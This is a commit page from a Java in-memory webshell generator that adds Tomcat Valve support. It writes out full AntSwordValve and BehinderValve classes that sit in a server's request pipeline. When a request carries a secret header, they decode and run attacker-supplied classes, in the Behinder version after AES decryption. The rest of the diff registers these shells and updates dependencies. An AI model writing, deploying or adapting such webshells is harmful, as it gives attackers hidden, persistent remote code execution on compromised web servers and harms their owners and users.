Skip to content

Commit 146d04c

Browse files
committed
add: 添加对 Tomcat Valve 的支持
1 parent 1821089 commit 146d04c

File tree

15 files changed

+711
-43
lines changed

15 files changed

+711
-43
lines changed

README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@
2626
| Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 |
2727
| WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | |
2828
| Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | |
29-
| WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | | JAR | |
29+
| WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | TomcatValve | JAR | |
3030
| Undertow | | Custom | | JAR_AGENT | |
3131
| GlassFish | | | | JS | |
3232
| | | | | JSP | |
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
package jmg.antsword.memshell;
2+
3+
import org.apache.catalina.Valve;
4+
import org.apache.catalina.connector.Request;
5+
import org.apache.catalina.connector.Response;
6+
7+
import javax.servlet.ServletException;
8+
import java.io.IOException;
9+
import java.lang.reflect.Method;
10+
import java.net.URL;
11+
import java.net.URLClassLoader;
12+
13+
14+
public class AntSwordValve extends ClassLoader implements Valve {
15+
protected Valve next;
16+
protected boolean asyncSupported;
17+
18+
public String pass;
19+
20+
public String headerName;
21+
22+
public String headerValue;
23+
24+
public AntSwordValve() {
25+
}
26+
27+
public AntSwordValve(ClassLoader c) {
28+
super(c);
29+
}
30+
31+
public Class g(byte[] b) {
32+
return super.defineClass(b, 0, b.length);
33+
}
34+
35+
@Override
36+
public Valve getNext() {
37+
return this.next;
38+
}
39+
40+
@Override
41+
public void setNext(Valve valve) {
42+
this.next = valve;
43+
}
44+
45+
@Override
46+
public boolean isAsyncSupported() {
47+
return this.asyncSupported;
48+
}
49+
50+
@Override
51+
public void backgroundProcess() {
52+
}
53+
54+
@Override
55+
public void invoke(Request request, Response response) throws IOException, ServletException {
56+
try {
57+
if (request.getHeader(headerName).contains(headerValue)) {
58+
String cls = request.getParameter(pass);
59+
if (cls != null) {
60+
61+
byte[] data = base64Decode(cls);
62+
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
63+
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
64+
method.setAccessible(true);
65+
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
66+
clazz.newInstance().equals(new Object[]{request, response});
67+
}
68+
}else {
69+
// 重要: 没有这一步会将目标服务器打挂
70+
this.getNext().invoke(request, response);
71+
}
72+
} catch (Exception e) {
73+
this.getNext().invoke(request, response);
74+
}
75+
}
76+
77+
public byte[] base64Decode(String str) throws Exception {
78+
try {
79+
Class clazz = Class.forName("sun.misc.BASE64Decoder");
80+
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
81+
} catch (Exception var5) {
82+
Class clazz = Class.forName("java.util.Base64");
83+
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
84+
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
85+
}
86+
}
87+
}

jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java

+6-6
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,6 @@
11
package jmg.antsword.util;
22

3-
import jmg.antsword.memshell.AntSwordFilter;
4-
import jmg.antsword.memshell.AntSwordJakartaFilter;
5-
import jmg.antsword.memshell.AntSwordJakartaListener;
6-
import jmg.antsword.memshell.AntSwordListener;
3+
import jmg.antsword.memshell.*;
74
import jmg.core.config.Constants;
85

96
import java.util.HashMap;
@@ -35,11 +32,14 @@ public static String getShellClassName(String shellName) throws Exception {
3532
SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
3633
SHELL_CLASSNAME_MAP.put(AntSwordJakartaListener.class.getSimpleName(), AntSwordJakartaListener.class.getName());
3734
SHELL_CLASSNAME_MAP.put(AntSwordJakartaFilter.class.getSimpleName(), AntSwordJakartaFilter.class.getName());
35+
SHELL_CLASSNAME_MAP.put(AntSwordValve.class.getSimpleName(), AntSwordValve.class.getName());
36+
3837
Map<String, String> antSwordMap = new HashMap();
39-
antSwordMap.put(Constants.SHELL_FILTER,AntSwordFilter.class.getSimpleName());
38+
antSwordMap.put(Constants.SHELL_FILTER, AntSwordFilter.class.getSimpleName());
4039
antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
41-
antSwordMap.put(Constants.SHELL_JAKARTA_FILTER,AntSwordJakartaFilter.class.getSimpleName());
40+
antSwordMap.put(Constants.SHELL_JAKARTA_FILTER, AntSwordJakartaFilter.class.getSimpleName());
4241
antSwordMap.put(Constants.SHELL_JAKARTA_LISTENER, AntSwordJakartaListener.class.getSimpleName());
42+
antSwordMap.put(Constants.SHELL_VALVE, AntSwordValve.class.getSimpleName());
4343
toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
4444
}
4545

Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
package jmg.behinder.memshell;
2+
3+
import org.apache.catalina.Valve;
4+
import org.apache.catalina.connector.Request;
5+
import org.apache.catalina.connector.Response;
6+
7+
import javax.crypto.Cipher;
8+
import javax.crypto.spec.SecretKeySpec;
9+
import javax.servlet.ServletException;
10+
import javax.servlet.http.HttpSession;
11+
import java.io.IOException;
12+
import java.util.HashMap;
13+
import java.util.Map;
14+
15+
16+
public class BehinderValve extends ClassLoader implements Valve {
17+
protected Valve next;
18+
protected boolean asyncSupported;
19+
20+
public String pass;
21+
22+
public String headerName;
23+
24+
public String headerValue;
25+
26+
public BehinderValve() {
27+
}
28+
29+
public BehinderValve(ClassLoader c) {
30+
super(c);
31+
}
32+
33+
public Class g(byte[] b) {
34+
return super.defineClass(b, 0, b.length);
35+
}
36+
37+
@Override
38+
public Valve getNext() {
39+
return this.next;
40+
}
41+
42+
@Override
43+
public void setNext(Valve valve) {
44+
this.next = valve;
45+
}
46+
47+
@Override
48+
public boolean isAsyncSupported() {
49+
return this.asyncSupported;
50+
}
51+
52+
@Override
53+
public void backgroundProcess() {
54+
}
55+
56+
@Override
57+
public void invoke(Request request, Response response) throws IOException, ServletException {
58+
try {
59+
if (request.getHeader(headerName).contains(headerValue)) {
60+
HttpSession session = (request.getSession());
61+
Map obj = new HashMap();
62+
obj.put("request", request);
63+
obj.put("response", response);
64+
obj.put("session", session);
65+
session.putValue("u", pass);
66+
Cipher c = Cipher.getInstance("AES");
67+
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
68+
(new BehinderValve(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
69+
} else {
70+
// 重要: 没有这一步会将目标服务器打挂
71+
this.getNext().invoke(request, response);
72+
}
73+
} catch (Exception e) {
74+
this.getNext().invoke(request, response);
75+
}
76+
77+
}
78+
79+
public byte[] base64Decode(String str) throws Exception {
80+
try {
81+
Class clazz = Class.forName("sun.misc.BASE64Decoder");
82+
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
83+
} catch (Exception var5) {
84+
Class clazz = Class.forName("java.util.Base64");
85+
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
86+
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
87+
}
88+
}
89+
}

jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java

+3
Original file line numberDiff line numberDiff line change
@@ -33,13 +33,16 @@ public static String getShellClassName(String shellName) throws Exception {
3333
SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
3434
SHELL_CLASSNAME_MAP.put(BehinderJakartaFilter.class.getSimpleName(), BehinderJakartaFilter.class.getName());
3535
SHELL_CLASSNAME_MAP.put(BehinderJakartaListener.class.getSimpleName(), BehinderJakartaListener.class.getName());
36+
SHELL_CLASSNAME_MAP.put(BehinderValve.class.getSimpleName(), BehinderValve.class.getName());
3637

3738
Map<String, String> behinderMap = new HashMap();
3839
behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
3940
behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName());
4041
behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
4142
behinderMap.put(Constants.SHELL_JAKARTA_LISTENER, BehinderJakartaListener.class.getSimpleName());
4243
behinderMap.put(Constants.SHELL_JAKARTA_FILTER, BehinderJakartaFilter.class.getSimpleName());
44+
behinderMap.put(Constants.SHELL_VALVE, BehinderValve.class.getSimpleName());
45+
4346
toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
4447

4548
}

jmg-core/pom.xml

+51
Original file line numberDiff line numberDiff line change
@@ -26,5 +26,56 @@
2626
<artifactId>jakarta.servlet-api</artifactId>
2727
<version>5.0.0</version>
2828
</dependency>
29+
<dependency>
30+
<groupId>org.apache.tomcat</groupId>
31+
<artifactId>tomcat-catalina</artifactId>
32+
<version>8.5.58</version>
33+
<exclusions>
34+
<exclusion>
35+
<groupId>org.apache.tomcat</groupId>
36+
<artifactId>tomcat-api</artifactId>
37+
</exclusion>
38+
<exclusion>
39+
<groupId>org.apache.tomcat</groupId>
40+
<artifactId>tomcat-juli</artifactId>
41+
</exclusion>
42+
<exclusion>
43+
<groupId>org.apache.tomcat</groupId>
44+
<artifactId>tomcat-jni</artifactId>
45+
</exclusion>
46+
<exclusion>
47+
<groupId>org.apache.tomcat</groupId>
48+
<artifactId>tomcat-coyote</artifactId>
49+
</exclusion>
50+
<exclusion>
51+
<groupId>org.apache.tomcat</groupId>
52+
<artifactId>tomcat-util</artifactId>
53+
</exclusion>
54+
<exclusion>
55+
<groupId>org.apache.tomcat</groupId>
56+
<artifactId>tomcat-util-scan</artifactId>
57+
</exclusion>
58+
<exclusion>
59+
<groupId>org.apache.tomcat</groupId>
60+
<artifactId>tomcat-annotations-api</artifactId>
61+
</exclusion>
62+
<exclusion>
63+
<groupId>org.apache.tomcat</groupId>
64+
<artifactId>tomcat-el-api</artifactId>
65+
</exclusion>
66+
<exclusion>
67+
<groupId>org.apache.tomcat</groupId>
68+
<artifactId>tomcat-jsp-api</artifactId>
69+
</exclusion>
70+
<exclusion>
71+
<groupId>org.apache.tomcat</groupId>
72+
<artifactId>tomcat-servlet-api</artifactId>
73+
</exclusion>
74+
<exclusion>
75+
<groupId>org.apache.tomcat</groupId>
76+
<artifactId>tomcat-jaspic-api</artifactId>
77+
</exclusion>
78+
</exclusions>
79+
</dependency>
2980
</dependencies>
3081
</project>

jmg-core/src/main/java/jmg/core/config/Constants.java

+1-1
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
public class Constants {
44

5-
public static final String JMG_VERSION = "1.0.8";
5+
public static final String JMG_VERSION = "1.0.8_240914";
66

77
public static final String JMG_NAME = "java-memshell-generator";
88
public static final String JMG_DESCRIPTION = "Java 内存马生成器";

0 commit comments

Comments
 (0)